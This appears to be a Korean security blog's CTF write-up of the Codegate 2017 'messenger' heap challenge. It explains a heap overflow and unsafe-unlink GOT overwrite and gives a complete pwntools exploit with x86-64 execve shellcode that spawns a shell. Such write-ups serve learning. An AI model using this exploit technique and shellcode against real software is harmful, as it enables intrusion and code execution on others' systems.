Notice
Recent Posts
Recent Comments
Link
«   2025/06   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30
Tags
more
Archives
Today
Total
관리 메뉴

cdor1's lab

Codegate 2017 messenger 본문

Security/Pwnable

Codegate 2017 messenger

Cdor1 2017. 3. 3. 15:57

오늘에서야 존재를 알았던 codegate 2017 예선에 나온 힙 문제이다.

(시작 메뉴가 참 이쁘다..ㅎ)

1번 메뉴는 힙에 공간을 할당하고 입력을 받는다.

2번 메뉴는 unlink를 직접 구현한 함수에서 delete과정이 수행된다.

3번 메뉴는 입력받은 부분을 수정할 수 있다.

4번 메뉴는 그 내용을 볼 수 있게 해준다.


여기서 heap overflow가 발생한다.

leave 메뉴로 할당한 사이즈의 공간은 고정적인데

change메뉴로 그 공간에 새로운 입력을 하려 할 때 크기를 마음대로 조정할 수 있다.

이를 통해서 unsafe_unlink를 트리거 하려고 한다.


이렇게 overflow를 활용해서 chunk1의 fd를 leak 해내서 heap의 주소를 알아낸다.



chunk0과 chunk1을 할당 후

chunk0에서 overflow시켜 chunk1의 fd와 bk를 exit@got와 leak돤 주소로 변경해서 exit@got를 chunk1주소로 overwrite 했다.

운좋게도 nx가 걸려있지 않아. chunk1에 jmp 0x18가젯과 nop_sled, shellcode를 활용해 쉘을 얻어냈다.


from pwn import *
#s = remote('localhost', 4000)
s = process('./messenger')
def leave(size, data):
        print s.recvuntil('>> ')
        s.sendline('L')
        print s.recvuntil('size : ')
        s.sendline(str(size))
        print s.recvuntil('msg : ')
        s.sendline(data)

def remove(idx):
        print s.recvuntil('>> ')
        s.sendline('R')
        print s.recvuntil('index : ')
        s.sendline(str(idx))

def change(idx, size, data):
        print s.recvuntil('>> ')
        s.sendline('C')
        print s.recvuntil('index : ')
        s.sendline(str(idx))
        print s.recvuntil('size : ')
        s.sendline(str(size))
        print s.recvuntil('msg : ')
        s.send(data)

def view(idx):
        print s.recvuntil('>> ')
        s.sendline('V')
        print s.recvuntil('index : ')
        s.sendline(str(idx))

leave(0x8, 'aaaa')
leave(0x8, 'bbbb')

change(0, 32, 'a'*32)
view(0)
print s.recvuntil('a'*32)
heap = u64(s.recv(3).ljust(8,'\x00'))
log.info('heap : ' + hex(heap))

payload = 'A'*32
payload += p64(0x602070 - 0x10)
payload += p64(heap - 0x10)
change(0, 48, payload)

payload = '\x90' * 8
payload += '\xeb\x16' + '\x00'*6
payload += '\x90'*100
payload += '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
change(1, len(payload), payload)

remove(1)
s.sendline()

s.interactive()


'Security > Pwnable' 카테고리의 다른 글

seccon 2016 cheer_msg  (0) 2017.03.04
33c3 CTF babyfengshui  (0) 2017.03.04
how2heap house of einherjar.c  (0) 2017.03.03
codegate 2017 3차 발표 준비  (0) 2017.02.17
Plaid CTF 2013 ropasaurusrex  (4) 2017.02.16
Comments